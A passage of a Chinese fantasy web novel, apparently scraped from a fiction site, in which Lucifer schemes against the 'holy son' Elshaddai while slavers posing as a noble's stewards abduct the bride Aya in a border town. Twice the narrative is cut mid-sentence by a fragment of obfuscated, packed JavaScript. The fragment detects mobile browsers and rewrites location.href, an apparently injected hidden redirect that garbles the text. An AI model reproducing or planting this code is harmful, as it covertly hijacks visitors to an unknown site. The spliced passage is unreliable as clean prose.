要说这镇长也真是的,那些人给他几块银币就能让他不顾多年情分来当威逼利诱的说客,简直是,简直是……见钱眼开! “他们不会再试图来劝我了。”相较于他的又气又恼,伊勒沙代却极为平静,“约里,你不相信我吗?” 约里原本正因气愤而起伏的胸膛一下子顿住,蔫了下去,低声道:“我当然相信你,先生。” 可那些人……他们实在是步步紧逼。 约里心中仍然止不住地担忧。 伊勒沙代再回来时,路西法已不在躺椅上,而是在把玩他房中别的器物。 “还要听吗?”伊勒沙代拿起竹笛,青竹的颜色与他白皙的掌心正成对比。 他指掌劲瘦,骨节分明,倒真也像青竹。 路西法轻轻一瞥便收回视线:“没兴致了。” 伊勒沙代便将竹笛收起。 “你看上去年岁尚轻,他却叫你‘先生’,这是何故?” 路西法一边随意地问着一边打开一个木盒,那里面正是一对男女小童模样的木偶,脸上都是如出一辙的喜笑颜开,只是那小女童的发上别有一朵玉兰,右手胖胖圆圆的小指上还有一颗小痣。 一看便是新婚礼物。 “他曾在山中砍柴时遇险,我路过救了他,他从此就称我‘先生’,我也阻止过,但他执意如此。” “你可真是个善良的好人。”路西法虚假得极为明显地夸赞他。 他放下盒子,眸光一转,却正落在伊勒沙代的工具们之上,忽地笑起来:“他也是多余操心,什么人还能真为难得了你?要真能做成,传到天国,梅塔特隆可就要羞愧而死了。” 天使没有实体,亦没有血肉骨,但伤过天使之物就会留下他独有的印记,这既是对天使的警示,也是彰显此人不可信不可留。 没想到啊,一向智计卓绝的天国书记官梅塔特隆,竟然也会有栽在别人手里的时候。 伊勒沙代一默,才道:“此事是个意外。” “我还道以米迦勒一根筋的性子为什么能想出那样的主意,原来是有梅塔特隆在背后出谋划策,这就不奇怪了。” 从他还在天国时就知道,这位书记官绝非表面上那般纯粹地好说话。 可惜了,当初,他还以为他会选择他呢。 伊勒沙代不知路西法思绪已到别处,还在说道:“他日相见,我会向他致以歉意。” 路西法忽地转身伸手,却只是拂去伊勒沙代肩上不知何时沾上的一片落叶。 “当初耶和华既然让我向你行礼,那就说明你的地位在当时的我之上,要你道歉,梅塔特隆还没那个资格。” 这倒不是有没有资格的问题…… 不过也不必说得太多。 路西向来戒备,若因此事与他多生嫌隙,倒是不好。 路西法也未纠结于此,他前行几步,靠近伊勒沙代:“你的朋友好奇我的性别,难道你就不好奇吗?” ……这好像是很明显的事吧。 伊勒沙代换了种委婉的说法:“我能看出来。” “那真是可惜了。”撒旦陛下装模作样地叹气。 不待伊勒沙代问及为何可惜,他凑近他耳边,笑意盈盈:“如果是你好奇的话,我可以给你验证一下哦。” 伊勒沙代的目光本因这话不受控制地往下飘去,又及时回过神收住。 路西法看着面前的耳尖一点点变红,心满意足地弯起唇,却仍故作惊讶:“你还真想看呀?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091848|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “圣子,你怎么是这种人呢?” “……我还有事要做,先告辞了。” 伊勒沙代身躯一僵,匆忙离去的身影颇有几分慌乱,显然忘了,这里是他的家,就算要走,也该是路西法走。 路西法在他身后笑出了声。 以前怎么没发现这位圣子这么有意思呢?真是平白多添几分遗憾。 纵然伊勒沙代能拦住一时,但路西法自有办法能知道发生过什么。 这镇上数日前来了几个不速之客,他们有男有女,衣着华贵,趾高气扬,出手阔绰,一来就在镇长家中住下,次日便公布说要为王城的一位贵族挑选奴仆,镇上相貌出众的年轻人皆有机会。 那可是整片大陆最为富庶的莱洛温王城啊! 传说中寸土寸金的地方! 哪个年轻人心里没有出人头地的梦? 纵使是去做奴仆,那不也比被困在这个朝不保夕的边陲小镇中庸庸碌碌糊里糊涂度过一生好吗? 万一……万一就能,从此飞跃了呢? 就连约里也曾心动过,然而在见到自始至终不为所动的伊勒沙代后,约里又平复下来。 “伊勒沙代不去,他便也不去了?”路西法兴致勃勃地问道。 他面前的是在镇中生长百十年的粗壮巨树,只见它艰难地抖了抖枝桠表示同意,然后继续讲述。 然而有些事不是伊勒沙代不去招惹,便不会招上他的。 那些自称贵族管家的人偶然看见伊勒沙代,惊为天人,多次拦下劝他,可惜他实在油盐不进,无论他们描述了何等的富贵奢华生活,他依旧毫不在意,那些人不死心,甚至还买通了镇长来劝说——只是这次,还加上了威胁。 不和他们同去,就要将他赶出这小镇,到时候他恐怕就要在外地沦落为奴了。 “那他是如何回答的?”路西法心生好奇。 “他说……和他们去,不,不也是到外地为奴吗?”古树结结巴巴说。 路西法笑得弯下腰。 他就说,伊勒沙代不会在那些人手上吃亏的。 简直可以想象那些人难看的脸色。 古树谨慎地看着面前这个容貌绝艳的青年,它已经活了上百年,见过许多人事物,但这青年给它带来的危机感远非那些过往那些可比。 光是他用自己一滴血就能叫它生出灵智这一点,就足够证明他的高深莫测。 它犹豫了会儿,还是努力道:“求……求您,帮帮他,摆脱那些人。” “为什么?”路西法奇道,“他也没给你浇水捉虫吧?” “他……他是个,好人……” 路西法一乐,也不问它如何知晓,只懒懒散散道:“那些人不会再来劝他了。” 古树长舒一口气。 它初生灵智,并不明白路西法的未竟之语。 不劝,可不意味着不会强行掳走。 路西法想起古树所说那些人中身强体壮的打手,一双竖瞳里兴致满满。 伊勒沙代可是恢复了法力,那些人再如何强壮也不会是他的对手。 这样可不公平,他得帮着平衡一点才行。 正好也让他看看,伊勒沙代恢复到了何等地步。 一抹血色自撒旦陛下眸中划过,转瞬即逝。 5. 天生不祥 路西法直到后半夜才回去,却见伊勒沙代还在挑灯完善一个木雕摆件的脸部。 他并未询问他去了何处,只惭愧道:“路西,我这里条件有限,只能请你屈尊。” “我不是脆弱的人类,我不需要睡眠。”路西法俯身凑近去看他手中的摆件,不甚在意道。 这整间房还没他半个寝殿大,屈尊是不可能屈尊的,圣子早点死他就能回去了。 为着这契印,他还专门精心想了几个无痛死法,总有一个能送伊勒沙代回天国。 他已经有些迫不及待了。 “明日是约里妹妹的婚礼,你要与我同去吗?” 路西法嗤笑:“请我去,真不怕婚事变丧事?” “有我在,不会的。”伊勒沙代一本正经回道。 路西法不置可否,站起身,踱步到窗前,遥望不可及的明月。 这一夜的月色依旧皎洁,平等地映照着人间每一寸悲欢离合。 约里的妹妹阿亚是个纯朴温柔的姑娘,她今天所嫁的,正是青梅竹马的恋人。 按照小镇的习俗,清晨第一缕阳光出现以后,众亲朋就要离开,留新娘独自在房中,直至新郎前来。 伊勒沙代并未同其他人一起进入婚房,他只站在约里家的檐下,看着一滴从门前玉兰瓣上滑落的露珠,又想起路西法来。 昨夜他雕刻至后半夜,路西法果然如他所言,依旧不见困意,只是眉目间的烦闷却是掩盖不住。 伊勒沙代已经过了十余年这般日子,倒不觉得如何,但路西法很明显没有过这么无聊的时候,现在可谓是坐立难安。 伊勒沙代后知后觉,自己的生活似乎的确有些沉闷乏味,不禁对路西法更生愧意。 若无契印桎梏,路西法本应已回到繁华热闹的潘地曼尼南,在众魔王的拥簇下继续度过纸醉金迷的日夜。 路西法好似感受到他的目光,看了回来,眉间躁郁之气却蓦地一扫而空:“你在觉得……愧疚?” 他靠在躺椅上,昏黄的烛光摇摇晃晃,照着他摄人心魄的面容也忽明忽暗,唯有那双殷红竖瞳锐利鲜明:“耶和华从不会为任何人任何事愧疚。” 伊勒沙代收起刻刀的手几不可见地一顿,旋即又恢复如常:“抱歉,从前很多事我都不记得了。” “不记得便不记得,为何道歉?”路西法反问。 伊勒沙代一默。 路西法本也不指望就此问出什么答案来,他只不过讨厌看见谁频频道歉。 分明是与他无关的事。 “适才,我只是在想一件事。我想,旁的你不记得也就罢了,这件事恐怕无论如何都不会不记得。 “——你与耶和华,到底是什么关系?” 路西法不知何时已起身到他跟前,微微垂下的殷红竖瞳冰冷地审视着面前少年身形的圣子。 喜庆热闹的锣鼓声由远及近,打断了伊勒沙代的思绪。 新郎迎亲的队伍已经踩着良辰吉时来到,为首的年轻人怀抱着一捧花,笑容腼腆羞涩。 不知是不是太过紧张,他抱着花的手臂在见到约里后竟有些抖。 约里见到他后却是一下红了眼眶,原本准备好的千言万语都忘了干净,他动了动唇,只道:“你一定要对阿亚好,不然我不会放过你的。” 新郎点了点头,躲开了他过分炽热的目光:“我保证,以后阿亚会衣食无忧,不再吃苦。” 约里深吸一口气,他担心自己一会儿见了穿着喜服的阿亚会更控制不住,钻过声声贺喜的人群冲到了门外。 他在伊勒沙代身旁蹲下,终于克制不住嚎啕大哭。 伊勒沙代并未出声,只静静等他哭完。 约里和阿亚的父母去得早,兄妹俩相依为命,无论多么艰难的岁月都一起磕磕绊绊地走过,如今阿亚要离开,纵使是要嫁给她心爱的人追寻幸福,他心里的伤感还是压过了喜悦。 “……我真是个没用的哥哥,昨天晚上还要她来安慰我,她说她又没有走远,以后还是可以来陪着我的,和在家里没什么两样……”约里哽咽道。 他也收拾好了心情,知晓现在不是该任性的时候,一抹眼泪,强撑起笑容:“先生,请随我进去吧,您是我的贵客,一定要上座才行。我知道,您是担心招了那些人的眼,但如今阿亚成婚了,这里以后独我一人,我别无所有,就一条命,什么都不怕。” “生命是最珍贵的,无论为何事或何人都不值得置之度外,这种话,以后不要再说了。”伊勒沙代扶起他,神情温和平静,“回去吧,这场婚礼还需要你参与才能继续。” 约里用力点了点头,与他一前一后重返内堂。 伊勒沙代落在他身后,临走之前,有意无意,再往那棵玉兰树后看了一眼。 他这是发现了? 路西法挑了挑眉。 他刻意隐匿身形,伊勒沙代竟然还能察觉,看来他的法力恢复状况比他想的还要好一些。 路西法不紧不慢地跟上去,他是来验收成果的,当然要站在最方便观看的地方好好看看。 婚房外,前来观礼的镇民都知道这对兄妹情谊深厚,也能理解约里的失态,只是他们看见约里身后的伊勒沙代时,表情都不由得都颇为古怪。 竟像是……有些恐惧。 这可真是奇了。 伊勒沙代在结下契印之前,不过是一个普普通通的凡人,这些人为何会害怕他? 路西法正要探查他们的记忆一探究竟,就觉身侧投下一片影子,下一刻,他的左手落入一片袖中,与人十指相扣。 他偏过头,看着依旧泰然自若目视前方的伊勒沙代,轻笑一声:“对着虚空说话可是会被当成疯子的。” “在他们心里,我一直比疯子还可怕。”伊勒沙代平静道。 路西法观察一番,果然,伊勒沙代说话时没有刻意压低音量,但周围的镇民却也都神色如常,似是并不感到意外,只不过都不约而同悄悄挪动脚步,尽量离他远些。 “唉呀,真是愚昧无知呢。”路西法故作惊讶地叹惜,“圣子,你受委屈了。要不要……我帮你,小惩大诫一番?” 路西法几乎将不怀好意直接表现出来,他口中的“小惩大诫”,不须想也知含义不妙。 说到底,他怎么可能真的心疼伊勒沙代?想利用他的过往经历兴风作浪还差不多。 “不必。”伊勒沙代握紧他的手,“他们如何想我,都不重要。” 人类的体温对于路西法来说太热,伊勒沙代的体温却 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“是啊,阿亚还穿着婚服呢,她就算身手再敏捷,也不可能随随便便就能翻过这么高的窗户吧!”有和约里交好的镇民出声支持。 “这,依我看,倒像是……有人抓走了她!” 此话一出,便像冷水入热油,霎时激开一片喧哗。 “谁会这么做?” “咱们镇上不是才来了几个外人……” “嘘!那可是贵族老爷家的管事,你不要命了!” 周围宾客还在颇为忌惮地议论着,约里已经压不住心头的怒火,夺门而出,直冲镇长家方向而去。 与他要好的几个青年也要跟上,却被家里人拉了回来,拼命阻止。 他们背后可是王城的贵族老爷,要收拾他们这些边陲小民,比碾死几只蚂蚁还容易。 但虽不能一起去质问,背后讨论讨论却免不了。 只是这里面偶有一两句不大和谐的。 “可是前两天成婚的人都没出事……我就说不该请他来吧,约里怎么就不信邪呢?” “约里平时就和他走得近,看吧!他出生的时候就害死双亲,行走山中猛兽都不敢近身,这不是不祥是什么……” 压低声音说话的两人正聊得火热,忽然只觉口舌一凉,下一刻,便如被什么冰凉之物填塞满整个口腔,喉间呜呜出声,却再说不出一个字。 他们惊恐地看了一眼伊勒沙代的方向,随后发着抖落荒而逃。 伊勒沙代轻叹:“何必与他们计较。” “我乐意。” 他往身侧看去,却见路西法满面寒霜,一看便知心情极为不悦。 他还不会自大到认为路西法的不悦是为那些人说他的闲话,那就只能是…… ——本来针对他的计划,因为某些人,出现纰漏了。 伊勒沙代笑了笑,温声道:“我不放心约里,你要与我同去看看吗?” 路西法微微转过脸,眸中厉色尚未收起,却弯起唇角,笑意盈盈:“好啊。” 他也正想看看,是哪个蠢货,做了节外生枝的蠢事呢。 6. 他很难缠 镇长家在整个镇子的东边,和约里家恰在相对的方位,约里忧心妹妹,几乎用尽最快的速度向那边跑去。 待路西法与伊勒沙代赶到时,他已经和镇长家里的人吵成一团。 两个高大健壮的壮汉站在他前面拦着,他们背后那一身锦衣尖嘴猴腮的中年男人神情鄙夷,往地上啐了一口:“呸!也不瞧瞧你那妹妹长什么样,就是跪着求我也没资格去王城,还抓她?别是她自己见异思迁,为了哪个野男人跑了!” 他说这话时恰巧瞧见伊勒沙代进门,那双透着精明算计的眼睛一亮,随即又露出几分自以为掩饰好的志在必得。 约里被他的话气得满脸胀得通红:“混蛋!你怎么敢污蔑阿亚!明明就是你们抓了她!快放了她,不然我绝不会放过你们!” “哟,哪儿的穷鬼上这里碰瓷来了?” 恰是时,从一旁的屋里又走出一个中年女人,她穿着打扮比那中年男人还豪奢三分,十根短萝卜般的圆胖指头上恨不得都戴满赤金戒指,头上颈间耳边都点缀着一片金灿灿的光芒。 她一瞧见约里,便极刻意地挥着手指在鼻间扇了扇,像是闻见什么臭味似的,嫌恶道:“你那妹妹是叫阿亚吧?嘁,瘦得像根干柴一样,谁看了不倒胃口?快点滚,省得让你这穷酸气儿污了我侍卫的手!” 约里胸膛剧烈起伏着,他涨红着脸,捏紧拳头狠狠扑向那对中年男女,却被两个壮汉像拎小鸡仔似的蛮横粗暴地扔了出去。 他还要再冲上去,一直龟缩在暗处的镇长连忙出来,将他一把按住,点头哈腰地对那中年男女道歉:“两位,对不住,约里这孩子平时就傻,没什么见识,我跟他好好说说,您二位别动气。维利,来,给两位管事大人倒酒。” 镇长一边招呼着自己的儿子去他们跟前伺候,一边低声劝说,半拖半拽着约里往门外走,他也看见了门口的伊勒沙代,本想拉着他一起,但那只伸出去的手在他温柔的目光中终究是抖了抖,老实地缩了回去,他只小声道:“跟我来,这里不是说话的地方。” 伊勒沙代颔首,跟在他身后,自然地牵着路西法一起。 路西法也难得没有闹脾气,任由他牵着,只回头看了一眼那还在大声说笑的几人一眼,殷红竖瞳里暗芒一闪。 几人说笑的声音戛然而止,都觉仿佛有尖利锋刃自身上划过般,浑身一凉,激起一身汗毛倒竖,但这感觉转瞬即逝,他们面面相觑,霎时都没了谈笑的兴致。 伊勒沙代对身后的状况置若罔闻,温声道:“一会儿我会带着约里回去,再找找阿亚,路西,你想在镇上逛逛,还是与我一起?” “你怎么就知道不是他们绑走了约里的妹妹?”路西法瞥他一眼,“他们的嫌疑可是最大的。还是说,你也认同他们说的,约里的妹妹毫无价值,没有绑走的资格?” 他这话问得尖锐又诛心,伊勒沙代不怀疑,若他应对不当,他失误的回答就会落入约里耳中,导致最终走向决裂。 伊勒沙代温和道:“人的价值不是由随便一个无足轻重的人说了就作数的,他们那样的人所说的话更是没有任何参考意义。” 他语调平缓,不疾不徐,十分有让人心中安定信赖的力量。 路西法却不买账:“你没有回答我的第一个问题。” 伊勒沙代无奈笑道:“且听镇长怎么说吧。” 镇长不是没听到伊勒沙代所言,相反,他们整个镇的居民都已经习惯了伊勒沙代常常对着空气说一些莫名其妙的话,而后在他周围发生一些幸或不幸的事。 长此以往,没人敢再靠近他,对于他说的话,他们只敢装作没听见。 在是福是祸都不好说的时候,躲开才是最好的选择。 镇长将他们领到一处暗巷,颇为忌惮地回头四处张望,确认无人后才开口:“你们糊涂啊!怎么能和贵族老爷的管事作对?尤其是你,约里,往日瞧你也不是个笨孩子,今天怎么就犯傻了?你也不想想,他们能悄无声息地带着一个大活人穿过整个镇子吗?还有,我那房子就那么大,要是他们带人回来,我能不知道?我还会不告诉你吗?” 他语气中带着万分地恨铁不成钢,又气又恼,但又拿他们没办法似的。 “我怎么知道你会不会又为了钱帮他们隐瞒呢?”约里明显听不进去,眼里满是恨意和血丝,“你这种见钱眼开的人,难道还会顾念感情吗?” 镇长一噎,咬牙切齿:“你记恨我去劝……劝他,是不是?我告诉你,我也没办法!他们就是想要他,这整个镇子的年轻人里面,他们就只看中了他,一定要带他走,我能怎么办?那两个侍卫有多厉害,你也不是不知道!就那样的侍卫,还有好多个在镇子以外的地方等着! “约里,你懂点事吧!你和阿亚从小没了双亲,这镇上每家每户都对你们不薄,你一定要、一定要给他们都招来杀身之祸难道才满意吗?” 镇长想劝服约里,几乎是苦口婆心,将自己的所有思量都摆在他面前。 但,倒是方便了路西法。 路西法唇角弯起,主动扣紧伊勒沙代的指节,俯身贴近他耳边,故作怜悯:“这位镇长真是有一片体贴之心,将每位镇民都看作自己的亲人来费心考量,无论做什么都是为了大家都好,只是……伊勒沙代,这里面,好像不包括你呢。” 是的,在镇长的考虑中,每位镇民都要安全地活着,但除了伊勒沙代。 所以他明明看出那些人对伊勒沙代不怀好意,依然选择来劝说伊勒沙代和他们一起离开。 “你说,他是不是在想,只要你跟着去了,那就既保全了镇民,又除了你这个大家都害怕的人,一举两得? “圣子,我越来越为你伤心了,你也是他看着长大的,他明明也知道,你向来待人温和,从未做过恶事,纵使被人为难也从不记仇,且在山中救过镇民们多次,他对你,怎么就没有一丁点儿善意和不忍呢?” 路西法说得自己都要被打动了,看,多么苦情的故事,这总被辜负真心的主人公,哪有不从此满腔怨恨一心报复所有人的道理? 只要伊勒沙代有了一丝怨恨或不甘,路西法就有把握,让他从耶和华钦选的圣子,变成杀戮为祸的兵器。 路西法曾坐在天国第二高的位置上,手握举世无双的权杖,俯瞰众天使,他拥有最高的权限,因此比谁都清 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路西竟然这么在意他? 真是……太好了。 路西法离开暗巷不久,面上便恢复了一贯的平静。 伊勒沙代不愧是耶和华精心挑选的圣子,还真是不一般,凡人愚昧之举,他当真能完全不放在心上。 这件事暂且放下,以后尚有机会,不急于一时。世事多艰,他不信伊勒沙代能始终如此淡然处之。 而与深不可测的伊勒沙代相比,那些人类的小把戏在路西法眼中着实无处遁形。 前夜,他给那些所谓贵族的管事送去了一瓶产自于地狱的迷药,它的效用强劲无比,别说是人类之躯的伊勒沙代,就是米迦勒之流,猝不及防之下中了招也会晕上一时半刻。 因为担心他们不会用,路西法还贴心附送使用说明。 可结果呢? 那瓶迷药,大半瓶都用在了那人类女子的身上! 路西法一想到这里,又觉得心头生起了怒意。 迷药本就只能在以有心算无心之时可用,如今可好,大半瓶都没了,还叫伊勒沙代起了防备,以他的本事,极有可能会猜到个七七八八,届时,他们必定难以成事。 贪心不足的糊涂东西! 路西法长出一口气,劝自己别和蠢货计较,阖眼静静思索,须臾后,他才睁开眼。 既然已经做了…… 那就利用个彻底吧。 镇长好说歹说,终于勉强让约里相信阿亚现在不在那些人手里,他不禁越发心急如焚:“可是,那还会有谁抓走她?当时几乎所有人都在前院等着呀!” “有人并不是一开始就在前院的。”伊勒沙代忽然开口。 “谁?”约里瞪大眼睛,身体有些颤抖。 “约里,你已经想到是谁了。”伊勒沙代缓缓走近,微微垂下的湛蓝眼眸怜悯仁慈。 那个后面才来的,又能让阿亚主动打开后窗偷偷相见的人,只有一个。 ——新郎。 7. 表里不一 发生这样的事,好好的一场婚礼便只得潦草收场,镇民们大多都已经散去,约里回到家时,只见新郎还在婚房外定定站着,怀中还抱着那捧花。 比起方才认定是那些贵族家的管事抓走阿亚时的愤怒,现在的约里却更多是失望、困惑和痛苦。 新郎看着他的神情,猜到他恐怕知晓了真相,不由得后退一步,强撑着道:“约里哥,你……你找到阿亚了吗?” “这话该我问你。”约里嗓音低沉,眸光狠厉,“阿亚在哪儿?你现在说出来,我念着咱们从小一起长大的情分,就当没这事儿。” 若不说,约里现在孤身一人,无牵无挂,什么都做得出来。 后半句未说出来的威胁,新郎自己能听出来,他到底生长在这纯朴的边陲小镇,不比那群管事做惯了这些事,熟练又心狠,终是抖着嗓子急急辩解:“约里哥,你听我说,那可是王城里面的贵族老爷!阿亚如果能当上近身伺候的女佣,远远比在这里好多了! “你还记得吗?前两年大旱,咱们饿得都去山里挖草根,那阵子镇上刚出生的婴儿一个都没留住,阿亚那时候为了把东西都留给你,她自己每天就嚼几片烂树叶,实在饿了甚至吃泥巴填肚子! “而,而那时候……王城里的贵族老爷们,还顿顿都有新鲜蔬菜和牛羊肉,若有不爱吃的就直接扔去喂狗……约里哥,在这里,我们活得还不如贵族老爷们家的狗啊!我是爱阿亚的,所以我才,我才去求他们,只要阿亚去了王城,就永远不会再吃这种苦了!约里哥,你好好想想……” 新郎说起来越发激动,腰杆也挺直起来,他认为自己没有任何错,他甚至不理解,为什么约里从一开始就不允许阿亚去。 难道就因为那个天生不祥的祭山族奴隶不想去吗? 照他看,那个性情古怪的祭山族奴隶就是个行走的祸害,允许他住在镇上,已经是镇民们大发慈悲了,他若还敢妖言惑众,那就该乱棍打死! 他话音未落,脸上却已挨了一巴掌。 “阿亚在哪儿?”约里面无表情,一字一顿问道。 新郎被他猝不及防的一耳光打得一愣,回过神来时,满面通红,胸膛剧烈起伏,咬牙道:“你想清楚,我是为了她好!你强行把她留在这个小镇,才是在害她!” “那些人给你钱了吧?”约里讥讽道。 这句话一出,新郎身体一僵,目光躲闪,不再那般理直气壮。 约里看向他的目光里满是失望和懊悔。 从小一起长大的情谊,竟然也比不过几块银币。 他动了动嘴唇,还要再说什么,却见面前的新郎蓦地瞪大了眼,随后便两眼一翻倒了下去。 约里吓了一跳,抬起头,只见伊勒沙代不知何时站在了新郎背后。 他湛蓝眸中依旧一片温和平静,好像那个突然动手的人不是他一样。 “先,先生……”约里心脏砰砰直跳。 “绑起来。”伊勒沙代淡定地吩咐道。 约里脑子还没反应过来,身体已经随着他所说,返回屋中找了绳子把新郎结结实实地绑了起来。 伊勒沙代进来之后已经把大门锁上,而约里家离其他镇民的住处较远,也就代表着,现在无论这里发生什么,他们都不会马上知道。 伊勒沙代垂眸看着地上昏死过去的新郎,语调温柔:“等他醒来之后,要好好审问他,告诉他……” 约里点点头,不知为何突然心情有些紧张。 “——他若不说,每过一刻钟,就切他一根手指。” 约里目瞪口呆。 这边陲小镇处处破败,唯独镇中央的神坛修葺齐整,尖顶巍峨,默然矗立。建筑大门还有两名作虔诚跪拜状的捧灯雕刻石像,它们身上亦是一尘不染。 路西法径直从那正门处踏进去,正擦拭着左侧一处天使雕像的沙玛什听见动静便望来,看清他的容貌之后不禁一愣,然而见到那双殷红竖瞳,他立刻清醒过来,如临大敌般急急放下抹布,戒备道:“你是何人?” 路西法全然未把他放在眼里。 他一步步靠近那最深处高大的神像,抬起头细细观摩。 时人对于造物主的真容有千万种想象,无法统一,为此长期争执不休,最终由大祭司敲定,所有神像均不可雕刻容貌,否则视之为不敬,于是大多数人都选择雕刻纱帷遮掩面容。 他们说,待到身后进入天国,总会知道的。 可实际上,纵使是最高阶的炽天使,千万年相伴,也从未见过创世神的真容。 祂是……看不见,摸不着,只能感受到的存在。 那时他问伊勒沙代,他与耶和华是什么关系,除却为难之外,未尝没有打探之意。 伊勒沙代却说—— “我不敢妄言,祂如何认定我们之间的关系。” 他也许不明白,路西法听罢,为何眸光沉沉,霎时没了再往下问的心情。 年纪尚小的沙玛什一直小心翼翼地观察着面前这容貌美丽得分外奇异的青年,见他始终只是抬头望着神像在纱帷下模糊的面容,看上去并不像赞礼口中的恶魔那般凶恶嗜杀,暗自松了口气,劝慰自己,可能这就是一位因病才容貌奇异的人类青年呢。 他鼓起勇气上前一步,道:“您是来参拜的么?今日赞礼不在……” “熄了。” 沙玛什一愣,他低下头,果真见神像前祭台上刚点上的七枝长明灯不知何时竟然已尽数熄灭。 他惊呼一声,连忙要去寻特制的火折子,却未在原先放置的地方寻到它,他急得直冒汗,不经意间一转头,却见它竟在那美貌妖异的青年手中。 “你不能点燃它,只有神职才可以……”沙玛什急迫道,他赶忙奔向路西法,却只觉自己在空气中撞上了什么,一步也不能前进。 “怎么,知道我来了,不欢迎?”路西法看也未看他一眼,低笑一声,漫不经心地丢了那火折子,“不行,这可由不得你。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091851|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他说罢,那七枝灯上刹那间燃起诡谲的蓝紫色焰火,幽幽摇曳,好似在跳来自地狱深处的死亡之舞。 沙玛什瞪大眼睛,惊愕地看着这美貌妖异的青年,无数猜测顿时涌上心头。 不惧神坛光辉随意踏入,直视神像,还能无所顾忌地点燃七枝长明灯……他,必定不是普通的恶魔! 可是,他们这里不过是个普普通通的边陲小镇,为什么会迎来这样的人物? 小沙玛什心里直打鼓,他目光逡巡一圈,今日主事的赞礼不在,他入目之处也没有任何可以攻击或者防御的东西,他想了想,在心中悄声祈祷起来。 拜托,一定要传到天国啊! 路西法俯视着那蓝紫色焰火越发张扬得意地跳跃,终于舍得微微偏过头施舍那小沙玛什一瞥,小沙玛什心中一突,但不等他说什么,便觉后颈一痛,晕死过去。 路西法收回目光:“你还怕被他看见?” 黑暗处传来细微的动静,须臾,一个身材高挑,气质文雅的青年走了出来,他容貌虽也俊美,看上去却不似路西法那般有攻击性。 他俯下|身,恭敬地行礼:“陛下好兴致。” “阿斯蒙蒂斯和你说的。”这不是疑问句。 萨麦尔绝不是那种会多嘴的性格,相反,他简直惜字如金,且又谨慎,谁也别想套出他的话。 “陛下慧眼如炬。”玛门微笑道,“我返回地狱之时恰巧顺道路过此处,思及阿斯蒙蒂斯所说,便想来拜见,万一能为陛下效劳,那就是莫大的荣幸了。” “玛门,我竟不知你脚程这么快,连和这里隔了十万八千里的天界山脉也能算‘顺道’。” 路西法陛下嘲讽人的功力依旧深厚,玛门不敢再找借口,但他也不敢在路西法面前承认,他其实是想来看那位传说中的圣子究竟有多厉害的。 能让撒旦陛下吃个暗亏,他的勇气和智慧都值得肯定。 玛门不着痕迹地转移话题:“陛下好眼力,我在天界山脉,倒是听闻了一些不太一般的事。” 所幸路西法并未想与他计较,示意他继续,他才道:“是与天国相关的消息。那位……好像,又不再传召任何人进入水晶天了。现在一切事务,仍照旧由梅塔特隆和米迦勒共同处理,加百列也被梅塔特隆召了回去。” 虽说的是“共同处理”,但他们长期与天国为敌,都深知,做决定的向来都是梅塔特隆。 路西法抬眼看着神像顶部,忽地笑起来:“祂又不出来了?那真是好事。梅塔特隆是个棘手的,给他找点事情做,别让他有机会一直盯着人间,最好能把米迦勒也牵制住,但牵制不住也不成问题。” 玛门俯首应是。 路西法忽地伸手,顷刻之间,整个神像都陷入了一片蓝紫色焰火之中,那微微垂下显得悲悯温柔的面部也显出两分诡异来。 “还有一事,告诉别西卜去做。”路西法唇角微弯。 “圣子降世,这可要好好宣传一下。” 8. 讨人喜欢 潘地曼尼南分为内城与外城,与外城不分昼夜的喧闹繁华相反,内城一到固定时刻便会变得极为安静,只能听见卫队巡逻的声响。 玛门和负责查验身份的卫兵微笑示意,随即信步进入别西卜的府邸。 他凭着一贯对别西卜的了解,径直去了他处理公务的书房。 如他所想,别西卜还在奋笔疾书。 听见进门的声音,别西卜才抬头看了一眼,放下笔:“见到圣子了?” “陛下不同意,我怎么敢去见他?”玛门摊手,叹道,“不过途径几处人家时,倒偶然听见了他们对那位圣子的评价。” “他们说了什么?”别西卜好奇道。 “不是什么好话,不提也罢。”玛门吊起他的好奇心,却又轻飘飘避过,“我想,大概就是因为这样,陛下才给你安排了一桩事。” 他从怀中抽|出一封信,递到别西卜面前,别西卜一听是路西法的吩咐,也不再好奇与圣子相关的事,连忙接过来打开,细细查看。 待看罢,别西卜眼睛一亮,笑道:“不愧是陛下,如此一来,主动权就在我们手中了。若能成功,就算我们在人间依旧受到限制,行事也会比从前方便得多。” 他将那封信点燃,问玛门:“陛下还有其他的吩咐吗?” “陛下让你早点休息,不要每天都忙到这么晚,有些事不用着急处理。”玛门一本正经道。 别西卜一怔,随即反应过来,哭笑不得:“这不是陛下的意思,是你自己的意思吧?玛门,你何时也学会了阿斯蒙蒂斯那一套?” 还不是因为你只听陛下的。 玛门笑道:“阿斯蒙蒂斯说他那套很受欢迎,我才想学一学。” “你还嫌自己不够受欢迎?”别西卜失笑,“连天国你都安有眼线,你还想怎么样?” “这可不是我的功劳,他们自己说是念着陛下。”玛门道,“不过打听到消息这事,我倒觉得,太过轻易了些,像是谁故意透露来的。” “你的意思是,梅塔特隆安排他们故意接近你?”别西卜皱起眉。 “那倒也不太像。”玛门想了想,安慰他道,“不过不用担心,陛下也知道此事,你要相信陛下的判断。” 既然路西法已经知道这消息来源有些疑问,依然作出安排,那就代表着他认为这还是可以加以利用的,利大于弊。 路西法的判断从未出错过。别西卜点点头,勉强放下心。 玛门见他又要拿起笔,便适时拿出一盆花放在他桌上。 “我不过随口一提,你真去找它了?”别西卜又惊又喜。 他算是知道,为何明知玛门来者不善,那些下界种族高层却依旧欢迎他了。 